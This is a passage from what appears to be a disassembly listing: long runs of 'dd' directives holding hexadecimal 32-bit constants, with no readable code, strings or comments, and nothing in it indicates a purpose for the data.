0D8E402C4h dd 75CBF053h, 30AC6175h, 0E48AB64Bh, 485A08D7h, 0D9DB7144h dd 8E8A3303h, 49C4E02h, 0F4B44112h, 0F0A48495h, 0AAC18F47h dd 57CCA2EEh, 92E6A920h, 0C3AAAD2Bh, 0A023A02Eh, 20C56957h dd 0BE1423D5h, 0B5D377Fh, 51DABDC1h, 0C31DD518h, 0FA5F5D8Bh dd 4193CA6Ch, 7B1B97B9h, 0C000F280h, 5F997856h, 0CC934AFCh dd 76732A2Eh, 58F89376h, 0E24639B8h, 42A968D2h, 0FF083E76h dd 0E2C6C97h, 84C4167Dh, 0EB92C30Bh, 1F007B85h, 0A61A3EB2h dd 28CBCC82h, 92CEED0Dh, 96310255h, 0A7B8F250h, 0C96C4B3Ah dd 700C70DDh, 4855CDCEh, 0FDAEED7h, 6555AA02h, 56619F5h dd 4A80E542h, 0C23E2FD0h, 4CE233E0h, 407499C3h, 1BD6A754h dd 1AC851B5h, 890B9EE9h, 1857941Eh, 0AB7006A9h, 0A5AE9BEDh dd 0A3BE556Dh, 0C9226E1Ch, 1BF142D8h, 969FA7C1h, 655A73A7h dd 0E61D5F28h, 9D107C2Fh, 2065117Ah, 3E8D5919h, 6C055A5Ah dd 0F5242BD0h, 183EE552h, 86B2CC58h, 0B18207C1h, 0A31DACBBh dd 3A7130DFh, 0BD4D4CC7h, 0AFB7A29Eh, 68EE7EBCh, 4AC0CEC5h dd 531BDCBDh, 9B315E04h, 4A74507Fh, 8454D429h, 45461162h dd 45EAF2C8h, 0D068A4FBh, 0A5A48BEh, 8ED315D2h, 74630E12h dd 148FA15h, 602A203Dh, 778149A0h, 0ED028165h, 73E16175h dd 0E86274C1h, 0FFAF747h, 0E106662Eh, 455BE55Ch, 0AF2EAEBEh dd 0EAE02D18h, 4DDD9555h, 0E54DBF41h, 8484DACDh, 0C18A8A62h dd 2BBD0DE7h, 0A9DD5486h, 7AF0CA8Ah, 5F3EDA1Eh, 0DBED5A17h dd 0A2D0C3D8h, 0D710B374h, 5F8CCFEFh, 0BB3430AAh, 6FAF2921h dd 0E6E8F80Bh, 0BF174C5Ah, 55798A4Bh, 9426A95Fh, 0E903E046h dd 19B9E9DAh, 62405371h, 51C551A3h, 2E91EC36h, 0D1D34111h dd 0FDE9068Dh, 4962FDCCh, 4E072F3h, 5586BC9Ah, 0BCF27575h dd 94D960EAh, 0ABA8A32Eh, 901196FCh, 1B404A2h, 312C6875h dd 2E709450h, 88304306h, 0A888C07Bh, 50779367h, 0AB3C3C8Ch dd 0DE64F857h, 0F8475722h, 6148BE23h, 0F345E8E2h, 0D58CBF8Fh dd 0F129EA4Ch, 4F74F3B8h, 86B75395h, 2791EC17h, 37818F01h dd 2F3D0D02h, 80F9485Ch, 0BBFC0565h, 4C508152h, 5BE75F35h dd 0AB586647h, 85AE1AB6h, 0B29EC77Ch, 23C0A040h, 64B78C73h dd 333F49D4h, 23D4E659h, 2D4F5046h, 3549825Dh, 0E520A5D3h dd 0D8927B5Dh, 41DCF5F3h, 0C626188Fh, 0CE790F0Eh, 0FE678CB4h dd 7EB03463h, 10E4C064h, 0EFEA33F5h, 84F993E0h, 84BC0784h dd 396378A2h, 1301C891h, 0D159142Dh, 55554EA5h, 9B6FA78Ch dd 0DAEB52DDh, 0DE03999Dh, 7CBA19C1h, 0F1B6626h, 49DC6428h dd 8C7E8816h, 0FE8764DAh, 0F4181A65h, 0A53BFB65h, 0D74C22B7h dd 0B495DBD0h, 15AC0516h, 0B1D03230h, 55A005Ch, 0B4065F22h dd 0A22F6F4Fh, 0FFBB1174h, 41D8CDCDh, 4C124614h, 6EAF904Fh dd 223C53BFh, 0DF3C2981h, 46CA93E5h, 134AC411h, 89E9E6A6h dd 0F8880E00h, 0D0680258h, 0A4EA453Eh, 985C0DD2h, 21147580h dd 0E487D34Fh, 13B55473h, 0CC620228h, 45207528h, 2AB134BFh dd 0E0E190FCh, 4B07C962h, 55BD1DB4h, 688CC684h, 592E7970h dd 163B1161h, 5D2FB3A6h, 1A4C189Fh, 4EA5C2A2h, 6F53F8Ch dd 3A6B4186h, 8365D998h, 7D77A559h, 0A76CA90Ch, 0F911980Dh dd 0C6D1628Ch, 611C080h, 432AA115h, 0D71FF823h, 70D7B447h dd 0DE266069h, 34A5E7D6h, 0E8D234B5h, 0BFC9F337h, 89926211h dd 5D3588B3h, 3B0B847Ch, 7C98199Ch, 6A6907F3h, 4A228B23h dd 547F6904h, 0C0D3CD52h, 0F343F708h, 8B0CB0C5h, 4BB0A4E2h dd 31A487E5h, 9470CE46h, 0B01555CFh, 81F11642h, 2BE4CA58h dd 0D264B0BDh, 148634D4h, 7CA2A734h, 52FF43A0h, 0A6F27C15h dd 0D80BE24Bh, 0C2AAD515h, 42B0E53Fh, 5CDDBA3Eh, 0E1F0525Bh dd 338AAEDh, 6C14113Ah, 0D6BC7FBAh, 0D60B42F3h, 41EAC4B5h dd 93ACB974h, 70A18845h, 0F4E1B10Ah, 0FF208C6Eh, 0EA13F08h dd 68B3FC7Dh, 0D0F57961h, 2650751Dh, 0CDCFC1D9h, 0D8D21F3Ch dd 0FF30668Ah, 1154D5D5h, 7431AC54h, 0D358447h, 0C4534BDDh dd 68DBA113h, 0BB688491h, 0F04F23CCh, 0FCAFA8BCh, 16AAC929h dd 0D4B960FDh, 5D76B597h, 54A240A8h, 0A232D0F9h, 0BD1AB954h dd 9809C286h, 3D8CF486h, 6A9A8603h, 0D91D9C91h, 0A17CC0FEh dd 81544BECh, 0B0F079D4h, 943ED152h, 0D21C362Ah, 50AC5AD1h dd 32A988AAh, 0F580BD60h, 65524322h, 0DF329FC4h, 0A31588C5h dd 0A2223154h, 6AF3352Eh, 0D9C42A94h, 0ACBEFF62h, 83BA5017h dd 757CB22Fh, 44444CFBh, 535419h, 2FE1C270h, 624E990Fh dd 28B84ACh, 0A43D9574h, 578DE558h, 264E33Ch, 747C25CEh dd 0E55DEF87h, 51E5A94Fh, 25754F48h, 33324D75h, 3404E216h dd 75BB08CAh, 38D09817h, 0B849AAA0h, 9F4E604h, 85EC3DD8h dd 904E961Fh, 0FA3DC218h, 96005808h, 8F2524h, 62C921F9h dd 17FDC526h, 9E4098E4h, 3AADA8E8h, 38080CF0h, 452529Fh dd 8CAF0E74h, 4113BC62h, 51272DEFh, 0FF9450AAh, 0A5A546BCh dd 140F38EDh, 0B83F0DDBh, 0FF3E7AECh, 8072DD3Ah, 0E016BA57h dd 0AA0054B6h, 0B429A316h, 0D66FA524h, 0F590A65h, 0FA03FE19h dd 2C014C05h, 0D31B3639h, 6A468814h, 5D9462Ah, 942B1F1Dh dd 0F5C9E91Dh, 0E45A17F0h, 968BC233h, 52D4416h, 7769A45Ch dd 0F8F81BDh, 1E200005h, 0CC18AE1Ch, 0CA06187Ch, 0DF89B534h dd 52D07017h, 0D331175Eh, 63A90A18h, 3DE63758h, 0C082540Bh dd 8ECAF307h, 18EA2D3Ch, 1C858275h, 0CC416BEBh, 89A1D628h dd 0C7183CA9h, 0FF5C5A1Ah, 25101E1Fh, 0B063138Ch, 0E0F91566h dd 9FEB2899h, 712ED202h, 20B17082h, 216B9280h, 5F04BB2Ch dd 0E65DBBFh, 6BB32165h, 9321C33Dh, 0DB21113Dh, 8523F8C3h dd 0A2BEC75h, 41DFC080h, 0B79AA030h, 95FE6C08h, 5414C7D7h dd 60497AC8h, 22590FACh, 41102C81h, 0B50110FCh, 0FD382F8Eh dd 4DD2FD9Eh, 0B999014Bh, 2493685h, 5B86B2AFh, 8C1D8BC9h dd 4D6C0260h, 64AFD8B9h, 7B188ED5h, 0A1093130h, 8A83F625h dd 0F58F7E49h, 0FF7BD25Eh, 57F08CB5h, 0B6EB31BBh, 67400701h dd 27A90EC4h, 264B811h, 341A34A0h, 0ABC6AD78h, 0BB155516h dd 0EC5629EAh, 0F15D0D8Bh, 0C1945737h, 579BEC38h, 5D6AF011h dd 3B5073E9h, 0AFC974BFh, 0A2AFE013h, 921462CDh, 29833B8h dd 79314150h, 330BB8B0h, 0E71111EAh, 0EAEBDA6Eh, 0A5ABD727h dd 0F3946660h, 20C18C11h, 61B9D262h, 0C93C5546h, 0D8E25598h dd 0ECAC8CB1h, 2945297Eh, 0F6606900h, 0DC68552Dh, 8375E5AEh dd 83A63595h, 6218992Dh, 4F91EB05h, 1014A332h, 5610E60Bh dd 1E62242Dh, 8922F619h, 0C6269D5Eh, 20BED084h, 98A206E8h dd 6290D74Ch, 59DC40CCh, 0A68FB41h, 730C628h, 0FC711485h dd 0BE3FF499h, 40EAB21Fh, 9B45F369h, 1F1B521Eh, 0E069F344h dd 0C28C3667h, 2074ABAh, 1AB6A1C7h, 531EC469h, 0F9052FCDh dd 309BA3DBh, 7D63ED55h, 94DB5328h, 1BD45CD1h, 9317E55Fh dd 6D32404h, 0FC34C6F5h, 0C9E42C08h, 248E284Fh, 0D0396A1Fh dd 0D1CD52F6h, 0EBFEDD15h, 0D88A27E3h, 0FE15A6FAh, 0B1D0CE1Bh dd 62C576F1h, 0F24D71D8h dd 0FAF2A9F1h, 1D8BB013h, 0BA83BFD4h, 9248E3BCh, 8B4396C9h dd 676898EDh, 0C05C1A44h, 0C3943CF8h, 0BF73C4A6h, 0A2C064DBh dd 9E4600E8h, 0F8279F73h, 0E92F06B1h, 0C16901D6h, 0FC79020Ah dd 0C54B560Fh, 0D785DA3Eh, 40B94B7h, 0F193F757h, 0D8B5EA6Fh dd 60B5AC64h, 0B5E14C2Bh, 9B55016Dh, 0CF641810h, 0C258E3D7h dd 0A31B41E8h, 4BA80A6Fh, 55AA208Ah, 0A56FB9C5h, 7318772Fh dd 0B4277758h, 8E15C574h, 7AE6456h, 0AAF29A79h, 0E787078Ah dd 0FA39CA41h, 0D55EEE95h, 0EE2A696Dh, 0FC824BC9h, 8F3A1F80h dd 0E08704DAh, 0B010E8DCh, 3677783Eh, 90C3E113h, 200CA177h dd 0FE54F6DDh, 289FF84Ah, 0E1836C5Fh, 2AF10B07h, 0F2A8ECE0h dd 0A153925Eh, 0B69E6710h, 1524AEA7h, 0D0C5B3DDh, 1FCD6315h dd 0AF36F058h, 4C90A237h, 4C423B0Dh, 9E8B1822h, 3CC3A3A7h dd 0B5E85863h, 74564348h, 51946255h, 350B8639h, 9C5E8687h dd 0A846C1A1h, 6919FA19h, 0D8BE7FCFh, 1832322Fh, 8B0A438Ch dd 0E1EC95A6h, 83F9EFA0h, 653267ABh, 99F28181h, 1BA51B9Ch dd 0F4BAF0BDh, 63D4819Ch, 1519D480h, 51792514h, 23F016C4h dd 0D6130A46h, 0B9C5CD0h, 0E35FDAB2h, 0B008930Ah, 86D23B65h dd 686D7094h, 70832ADDh, 32445DE4h, 313C5189h, 0EE4F3634h dd 48C07519h, 526B0A8Ch, 1396414Dh, 2949C992h, 0ACEE2E86h dd 9198440Dh, 38CBBFC0h, 0A7AE694h, 0BA8F9286h, 83909A55h dd 0B6018C59h, 493E2860h, 6BAB8089h, 0A4CC50CAh, 0DF694717h dd 67BF172Bh, 0A0CA3954h, 22E01D3h, 0D1F16C4Eh, 2578DF11h dd 0D4A5BFC3h, 9959BAD3h, 21A8545Dh, 1799BA05h, 1ABFA494h dd 52AB554Dh, 411F8DA4h, 0EBC3DCB5h, 97046E68h, 0C7EA78h dd 504EF00Fh, 7D8A5BE1h, 4768CA9Bh, 58C3E575h, 0DA9BBAC5h dd 0D332717h, 0FDA50A14h, 2FECD64Dh, 0AA9B24EEh, 501F104h dd 43E8F618h, 2069131Bh, 8E566660h, 0E12F1141h, 366582B1h dd 31C6B6F5h, 63B4B35Dh, 66EEBFF6h, 0DF53F486h, 4A8704C5h dd 2F034EBEh, 0C79F457Eh, 59E13D92h, 3649B29Bh, 0F80A643Fh dd 4E989749h, 0AEC85C0Bh, 4B67C557h, 3F590A4h, 0B3CD07CFh dd 0C983CFF1h, 2FD7FF44h, 4C36ECA7h, 72F349BDh, 58B60FB2h dd 1FE81C93h, 0BDAC36F9h, 0B7DE31BDh, 0F07793A2h, 28CF0520h dd 28E6D88Ch, 8B4B97C3h, 3A8D3738h, 3F2558BCh, 0E46A2B23h dd 4A5ED220h, 0EB889D85h, 0CDA6EE25h, 7E7003E7h, 66012638h dd 0D3017A07h, 595E4FF1h, 946F610Ch, 0EDA00C50h, 0DF0D5E87h dd 886D469h, 0AC545740h, 0A34613AAh, 508728D8h, 202511C0h dd 0F5EC0507h, 47E4A7DFh, 0B1D327Dh, 0AF10592Ah, 0AA217B0Ch dd 2A0D1B71h, 18C2AF86h, 0CA6B8469h, 8C7CD5BEh, 390584C1h dd 59926F10h, 0D93251E7h, 0EE398A2Eh, 9311CA3Fh, 63E6EBC2h dd 18AC134Eh, 1476DD4Eh, 0FA281D0Fh, 0BAAD47A5h, 2D91465Dh dd 1AB47E88h, 9768CBB4h, 0AC183C10h, 930345EBh, 0C5F1C799h dd 0B2A8DD07h, 94529582h, 350A87FEh, 28BFF109h, 0AB14558Ah dd 62D10EA4h, 351F28EAh, 3AF2A7C5h, 3704448Bh, 0EA76E5F1h dd 478FF97Dh, 2D0C8332h, 0F79DCFCAh, 0B9B08F2Fh, 953575C5h dd 0D76C64E4h, 0BF74B59Bh, 31B358C7h, 6974687Eh, 0B8FCCB02h dd 0C1383843h, 534DBAAFh, 4C4E881h, 5E7DED13h, 28C4D0F7h dd 815FB860h, 61AEC1FFh, 0F878A034h, 8B4FCE62h, 0DD71DA59h dd 0C08F02DAh, 593FC1FCh, 8B30F599h, 0B708103Eh, 398DC7C0h dd 4E24ED56h, 0D343862Bh, 5F26515Ch, 0A6C65C8Bh, 1B607903h dd 4A7B006Ah, 1C45E74h, 0DC4CC8F1h, 2380957Ch, 6F876E32h dd 4240C0D5h, 0AC355B0h, 90220AAFh, 680A2485h, 9624555Ch dd 0D5562F71h, 0A2C8ED43h, 5A122746h, 5D943078h, 42393DC1h dd 0A49D3957h, 13651743h, 0C1E1CF68h, 909F49F0h, 0D36F94AFh dd 1B1CDD54h, 6D97347Fh, 4104463Ch, 13BE09Bh, 113BC209h dd 71BD6964h, 0A235D815h, 0FC64A78Bh, 3101D165h, 232E805Dh dd 48D6C599h, 5080D5DBh, 581A677Ch, 0AA668E30h, 0DEE25551h dd 0ED996427h, 0A0F7F3D1h, 4ACE6CB2h, 2D000716h, 0BA4202C8h dd 0B3D8F1EDh, 0ABC66AAAh, 0C1C99EB8h, 1AB23914h, 0D095660Eh dd 0C54DE1FEh, 3965D117h, 0A3ABBC72h, 19FFD1A4h, 0DC028709h dd 49CDD97h, 0FB0EEB36h, 260C33EFh, 800CACEh, 0AC474E8Dh dd 5724C823h, 0ADACF5D5h, 0B9630B61h, 0F540824Ah, 0A34362ECh dd 0FE4A81F6h, 77B7680Ch, 0C046E571h, 3469DF7Eh, 80F46DFh dd 9EF7FEBh, 2F140708h, 99D28EE4h, 0B36A2601h, 7993EB37h dd 9A6C610Ch, 0FD261558h, 15CB2FFEh, 0F685ABD4h, 51C4D167h dd 7F578626h, 83AA9092h, 57974818h, 5559C230h, 991DFF0Ch dd 1D000E18h, 3E7DEFB1h, 0ECFA2462h, 0E66B027Bh, 0A2BF0524h dd 31C92065h, 7EA65374h, 0BA702BAFh, 0CFBC19Ah, 0E4266291h dd 11087058h, 779A0D50h, 0D650DD5h, 0B43FCB61h, 1688E5A3h dd 6BDA5C68h, 3797DD62h, 0B2F4CA30h, 9BDF53F0h, 0CE3869D8h dd 5C473661h, 345C8715h, 5671A64Eh, 2084F899h, 637A4DE2h dd 363E4295h, 15595075h, 4AACE2F0h, 8B70ACC8h, 678C8B3h dd 6A97CA7Dh, 6C4A4A19h, 0D6C16931h, 67C5BC21h, 0AC38DD2Dh dd 0ACD1D598h, 2AF8582Bh, 2245510Dh, 0E0973FC8h, 0FA790D16h dd 31CF5598h, 898ABD46h, 2BF8437Eh, 994A7C1h, 20C50F0Eh dd 0B81CE02Eh, 0F2E9B9C3h, 50D0981Bh, 8A198ED7h, 4E2AA72Fh dd 0B2BC7401h, 0EA40E999h, 82A25990h, 3FB1D0ABh, 285332Ah dd 55695491h, 0C4458A42h, 677A8199h, 0FC1AF2F2h, 2C05B198h dd 5863C86Eh, 57E32E33h, 0AB435923h, 0E3625938h, 0D8B0AD03h dd 8419AA06h, 0A6AF202Ch, 110CE7DCh, 0F0C7C382h, 0B01857B7h dd 2C403D8Ch, 67E519E8h, 3C8528AEh, 7FE9020Bh, 4354188Bh dd 9F01B10Ch, 0A6E3E636h, 10587F08h, 0DF845126h, 0B8A153FCh dd 4ACD6A00h, 0BB44FA54h, 74D7260Ah, 0A0AFAC7Eh, 1C6A1B5Ah dd 4C35F490h, 963BF96Ch, 64C8ACF9h, 1D9867E1h, 0AE1BB6BEh dd 626877C8h, 0F480EC0Ch, 24094EABh, 14DB9476h, 40E18413h dd 21DD70D2h, 24E4F829h, 75822BA4h, 0FAE0FE15h, 0DE214309h dd 9707524Fh, 42075B56h, 455388BCh, 631DC819h, 0C9E4349Ah dd 35C979F4h, 0DD216834h, 147F1986h, 5A6C6C5Bh, 99CBFAD5h dd 0CE30F4F4h, 0C0418A5h, 20CB1134h, 857BE049h, 86D1BB76h dd 0D5CD8D07h, 0B10C454h, 48788CCCh, 63452477h, 60146356h dd 3C69E852h, 500BD1D5h, 89E64C4h, 19204648h, 3B8B282Eh dd 0F114A2E2h, 17D785D1h, 0B290498Ch, 0E00B299Dh, 40F05D4Eh dd 0F5C67FC6h, 3AA2E16h, 2ADB1E04h, 57488B4Bh, 3181CC0Dh dd 43F020F1h, 0D3213127h, 0BD5D469Dh, 0A0DA0CB2h, 1CB418F4h dd 66568A03h, 0A6D00B10h, 0B8A0238Ah, 5B752F96h, 2F350EF9h dd 0BA11AF3Eh, 7BB63124h, 0A2D55B8h, 1BA4EF9Eh, 0C8AC5796h dd 0DCA668ADh, 0CD953CADh, 0B2FE1644h, 65BCB92Ah, 31087AD7h dd 67D5E71Bh, 989C3F09h, 0AA390DC0h, 0ECD02B58h, 34EF526Ah dd 18880B24h, 0D319A6AEh, 5FC35F7Ch, 63D0F8AAh, 28BEF2C0h dd 0D8B5C941h, 223800A4h, 269ABCB5h, 0F8AF5AD2h, 68D5C77Eh dd 2683E012h, 0C9907614h, 0E0AF9307h, 19577AF6h, 6E0B8E4Dh dd 0F40A345Fh, 0CC2019E5h, 73740B1Bh, 9E6FD2A1h, 1CC07702h dd 66FE020h, 70EEF396h, 22EB5E0Bh, 95664757h, 4B475985h dd 4A5396DAh, 4B870290h dd 28EA23BAh, 500F8625h, 0B2EC16FBh, 1CD316E2h, 0AAD04EF0h dd 6A0F40FEh, 6FFE212Eh, 6A6303Eh, 0BA29FD74h, 42E005C8h dd 765CE7Eh, 53A45FFBh, 104DD1A6h, 0A45F0662h, 15451AD1h dd 0F1556CBDh, 887E9B3Bh, 0BEAB0D93h, 69DD77CBh, 0BEC0574h dd 54251042h, 0E2B191AAh, 1801C197h, 63A0429h, 0BDC24840h dd 2AA03E42h, 1813A62Eh, 0FDADAD29h, 0BDFA3F6Ah, 8EA85D5Ah dd 0EC9CBB8Bh, 0CD335827h, 50613E77h, 0F0AA15FBh, 0F61F9832h dd 3D9E02B3h, 2E68E15Fh, 90B7B9FEh, 20E070B4h, 4FFCE2D5h dd 3430F9E0h, 487A9FB4h, 4F20B130h, 0EAB18743h, 0CBFDF3BFh dd 0B0747E7Dh, 0FF134BC4h, 8283E887h, 77256E1Dh, 1C55E050h dd 454AC029h, 0CEE0DAC7h, 0D56A06A9h, 9316ADEBh, 0E3B4BDCCh dd 49E16137h, 1E84529Dh, 74BD3452h, 0D6BAC525h, 32736529h dd 5522C31Ah, 63E5D74Fh, 5572995Eh, 0D4E84DB4h, 6BDA0A95h dd 0E9C50578h, 293B129Ch, 6B9C9075h, 1A83FB8Dh, 78517B05h dd 6ED97E50h, 4272768Ch, 975F6BBCh, 1960F817h, 745DA1E8h dd 0AF642069h, 0BCFE8399h, 78BA5F6Fh, 37DF5F2Bh, 808EB9BBh dd 8EAE8508h, 0DF7CE4AEh, 0D75530E6h, 0F67E340Eh, 0D074D895h dd 49DEDC20h, 0F70738C9h, 0E9E3B13Eh, 8A65F4C6h, 0D83B8F99h dd 1895118h, 8CEF504Ch, 911A41FEh, 9FC4A173h, 50BD9D42h dd 0C43C38FCh, 0BE067F10h, 3AAE7224h, 0BF424F0Ah, 0FDA88AC8h dd 0AEAE01Dh, 55E0F0C8h, 90328F82h, 0A8DB985Eh, 607486Ah dd 0F5EE695Fh, 32F4C256h, 6D4A329Fh, 2AF11871h, 6163E65Eh dd 0A0B8688Ch, 9E391802h, 0B9C251DDh, 0A62241CEh, 4A8D411h dd 179E3F4h, 7F18F0D9h, 0C3FEA05Fh, 6E4E324Dh, 0EF0D1990h dd 51D64212h, 4586638Ch, 181E482Ah, 3D5128Fh, 2292619Fh dd 5AFCF4CCh, 781F9547h, 0AE570B81h, 597F05BDh, 0CE769B31h dd 62BDFC9Eh, 63EEF20Eh, 5BA98A14h, 62ED401h, 2011DA09h dd 10AFF9FCh, 62639D83h, 0EB2ACBBBh, 5726A125h, 0B088854Dh dd 0A03881Ch, 8041CC8Dh, 539B7328h, 0FD10381Ah, 0BEDCEC52h dd 0CFE07F3Fh, 7A5F9DFh, 23AF3DA1h, 0F3AAFA88h, 824DE8F6h dd 1A9A8842h, 41D3E90Bh, 32EAD2h, 465C1179h, 7572685Dh dd 8E910F43h, 72CC4C17h, 0A87B10A5h, 6338978Fh, 47F44EA3h dd 2C09D4DEh, 0A0919647h, 207FBCAh, 5AABC1Fh, 37EA2470h dd 55FBD5F6h, 0BA442828h, 5CBE8ADAh, 1110D522h, 1C83E277h dd 0E9664B3Ah, 9F20406Eh, 0B732A9B8h, 31EBC52Ah, 0ED8130B1h dd 6CC45358h, 0B6F8BD8Ah, 7F7B0DD2h, 0ED457627h, 0F050A4CBh dd 383C86B2h, 0A76C03F2h, 0F8F39B24h, 0C19E6B17h, 0BC631B78h dd 50AB8EA5h, 53D1D7FEh, 9B182F21h, 0C9B5F143h, 5A17B426h dd 892774AEh, 7B8EE046h, 6C3F76E6h, 0A6D22B16h, 0BE463DFBh dd 0BA67AC32h, 98B41A36h, 40101890h, 988D2EB0h, 0B448F5C1h dd 0D90BC0A4h, 8C60204Ah, 0D15C4561h, 50E333F6h, 0CBA45760h dd 0D5832E4h, 5B1B7828h, 0AF7C5E95h, 8A144AFFh, 0C69224E0h dd 7CC00C5Fh, 5E0BB3DCh, 0D621D6BCh, 0E7532B07h, 3BD90E12h dd 0ABF08AEEh, 688ABBD5h, 0AF14544Dh, 0FC380A02h, 0BF1835A9h dd 0ABA4EDAh, 83C86558h, 2D745B89h, 0B616F139h, 6417B931h dd 29F1A14Fh, 48AFC034h, 0ACC65CCDh, 0D4CFFE21h, 52653A84h dd 0B4D65CEEh, 1376AA80h, 0EFA26FECh, 0A1DE882Bh, 0E7AB8935h dd 0E259C517h, 43F0D534h, 19842708h, 57DBDEF7h, 0B4DFF711h dd 226F1BB1h, 38C57E2Ah, 1FFBA4A7h, 3BE1F6D4h, 0E4C2C969h dd 0BE0516C3h, 0D7EE6B10h, 493D503h, 0A929614Fh, 1F341B34h dd 6F3D661Ch, 0B0A71354h, 9CBB4079h, 15516C82h, 0C212A4B3h dd 100380BCh, 0BE3D5591h, 8BAA3F53h, 5929DE29h, 0C232FF31h dd 40054042h, 0D682023Dh, 39220BB7h, 2E684B01h, 7817F276h dd 0B82FD2A1h, 5AE825Ch, 2EF18A25h, 0D8FE3147h, 13EB8768h dd 4D034643h, 50048DDBh, 2ACEC77Fh, 0C4311D29h, 882D8D8Bh dd 0E654EBAAh, 3295E7FEh, 0B1952AB0h, 0AF618628h, 7ABAF27Ah dd 60B465C9h, 19BB40E8h, 0C96157h, 4EF518FBh, 0EB868C30h dd 0BD066009h, 0C151CE63h, 8016C2C5h, 8DEB3792h, 0A1DA8BAh dd 532A2E3Fh, 0EB109284h, 3213D7FAh, 97281300h, 7F582FFCh dd 208DCB5Bh, 0C3DB1573h, 6B0FCBAh, 0BA456246h, 0E9224AE5h dd 22F33E52h, 6A44533Dh, 61720851h, 0C41030B4h, 97894C4Dh dd 68429042h, 0CAA00D9h, 95962444h, 5B73ECB6h, 0AF322AE6h dd 0AB8054C5h, 0EA3130C5h, 0C94B2CC6h, 0ABEB893Fh, 59544520h dd 8E2F57A5h, 2D681B40h, 0F0A01568h, 8C24B241h, 8F1F098h dd 8D721555h, 0A8BF9833h, 503AFA62h, 1E0022F8h, 36AA9061h dd 0B6726ABEh, 4EF8D309h, 0ECAF7A0Fh, 0DE053778h, 7120918Dh dd 0F90F7D07h, 0FDEA0055h, 5542B57Ah, 27FF27CFh, 0AF42258Ah dd 7F310D4Bh, 0FA4ABF5Bh, 7230C3D9h, 0F97D6AC4h, 5C07F62Ah dd 0FFA82559h, 5660F024h, 0B06A80F5h, 48127D89h, 5C562B2Fh dd 82867FC4h, 2B8D68B1h, 873AC1F1h, 88ADF704h, 48B3CD8Bh dd 10C59097h, 0A32C3F79h, 604B6520h, 5B247B21h, 181BD71Ch dd 82E30C44h, 0E0342408h, 4680EBF1h, 0C80D00ECh, 0D259D1E8h dd 498ABFF5h, 0C80A16E6h, 0F14609F8h, 906B56AEh, 38481313h dd 0E0C98320h, 44C04AE3h, 778761B9h, 80F152F5h, 0E0D4309Eh dd 4D84E927h, 5E737A18h, 8AA4B77Dh, 58EFF5B1h, 555B275Dh dd 967F3FACh, 67F5A315h, 94AE4046h, 9C4D9F97h, 0CBAC05D2h dd 91AA8900h, 0D5754546h, 5588EFA9h, 0D1C98F17h, 20625596h dd 0A542EBE2h, 619BA034h, 441C9CFBh, 8F41754Ch, 0C82EB44Eh dd 0EA40698h, 3D70AD98h, 8829E045h, 0CEC26023h, 7FFB9984h dd 1006B016h, 717C1504h, 17813FC4h, 4C692A56h, 1B815E0Ch dd 36A9880Bh, 7291EE8Bh, 2BF5B1B9h, 0F9529B5Fh, 47E4D68Ah dd 562C2595h, 83BC9DC3h, 0EF2ADA1Fh, 0B72BC055h, 2405F8A9h dd 48A92DF3h, 598F0ABBh, 19F0FF75h, 0C2B23F00h, 2056701Eh dd 0BD45476Fh, 7A06E88Ah, 0E87D74AEh, 7054B8Ch, 21810E03h dd 7DCC6FC5h, 79D59C5Dh, 5553CCC3h, 0D289EE12h, 4ED3414h dd 94815B1Dh, 54906FC8h, 0E6146BADh, 51F09C07h, 62582A80h dd 941CE311h, 542AC428h, 0A7CA8C6Eh, 9CC5A57Ch, 0C04BA5AFh dd 1ACC7EDCh, 770032E0h, 235D0715h, 99F4CEAAh, 0FC4E2863h dd 0C7E18094h, 4288F8F7h, 5CB19019h, 5E1E1488h, 3F0A5337h dd 9216E3Ch, 0FDAA614Ch, 53FC174Ah, 0C5930B58h, 6E1F2EB4h dd 90AC35B4h, 0C031D9C0h, 0E369BA32h, 0BD45EBE3h, 1865BF4Ah dd 4C694D43h, 0F8F5C85Ah, 2DCC4111h, 0FB32E9D8h, 3D70E2ECh dd 5D2CD01h, 2B13826Ah, 0CD6B18FFh, 0B08E8791h, 9E8D3C61h dd 2CC52589h, 7040B7AEh, 86A201F0h, 7197DC75h, 8F3D67D2h dd 3FB86DC2h, 53DC3B79h, 47D205A8h, 89DC45F5h, 292439F9h dd 17C9A3A0h, 0D482BBC6h, 815B0140h, 63CC7564h, 67F5A304h dd 41C9E0Eh, 3124CA24h, 0B429A22Ch, 6737212Bh, 36656669h dd 8FDD6673h, 0D17D8E8h, 8581D764h, 0D110B9F4h, 0A8B287A0h dd 8CBE28B1h, 75A98B6Fh, 985E7749h, 0A89560E7h, 142A2E3h dd 88EB7C6Bh, 0BFE2EB80h, 73D19CE4h, 1A288290h, 0F1D93C6Dh dd 31D0F0h, 283D41ABh, 5CFC1873h, 0A2F70DCh, 3E02C578h dd 9B03C099h, 40A20825h, 5FAD4E86h, 0B2CF22E3h, 1AB5ABBDh dd 0F1B75D71h, 1103D244h dd 91063C7Dh, 8EFB1297h, 630CC059h, 6755B065h, 0B2ED8E12h dd 44501AF2h, 0D411AD20h, 1B4A1283h, 0B9C29559h, 0E3759B30h dd 2956CDAEh, 0D4304820h, 0DF4D210Eh, 0AA53722Ah, 10FAFB82h dd 0A4250582h, 88D63587h, 571B7300h, 0BD86D9F6h, 0F4D98BB8h dd 763BA421h, 7D1D8033h, 6568C779h, 2F152956h, 0CC0F6442h dd 9DF28200h, 31B3A356h, 0ACD8AFA7h, 720C4A4Ch, 4A270A6Dh dd 4ABAC54Ch, 61211A19h, 94F5FDF1h, 65BE3532h, 0B06A5407h dd 0C27B080Dh, 4FB04F55h, 0D9EE9060h, 0C2222895h, 0B934451Eh dd 893752A7h, 51EC7B0Ah, 927B9EE3h, 0B0C81224h, 0EE498F47h dd 998A9119h, 0C44B1214h, 0D83A4BFEh, 5E5A99h, 0EB3C6CC4h dd 5441C8F9h, 71C6C7DAh, 50B6255Ch, 6DD13911h, 9168A12Dh dd 0FE5CC2h, 3610AAC8h, 98AB4D84h, 56DC17B3h, 0D18E4C89h dd 0B23A00D5h, 864EE463h, 382489C0h, 75FAF8D7h, 0D26BE621h dd 4C16E34Dh, 404DC020h, 530A96DCh, 2F39BA38h, 0ACE5210Ah dd 8320B6F7h, 122BFA2Fh, 0BAE5B8CDh, 3F8AC94h, 15267401h dd 74F07ED1h, 714F819Bh, 4670F39Ah, 44343519h, 53C99F04h dd 0C600821h, 0DDFF05DAh, 15740D0Bh, 0FA74A8Dh, 0C4F08202h dd 0C288875Eh, 55AA555Ch, 42D8E8B7h, 0A4CCEC2Eh, 4EB8BE16h dd 53C9D850h, 0D1D6662h, 1515E958h, 0CF597DC4h, 0F38F5CB1h dd 0AAD0C826h, 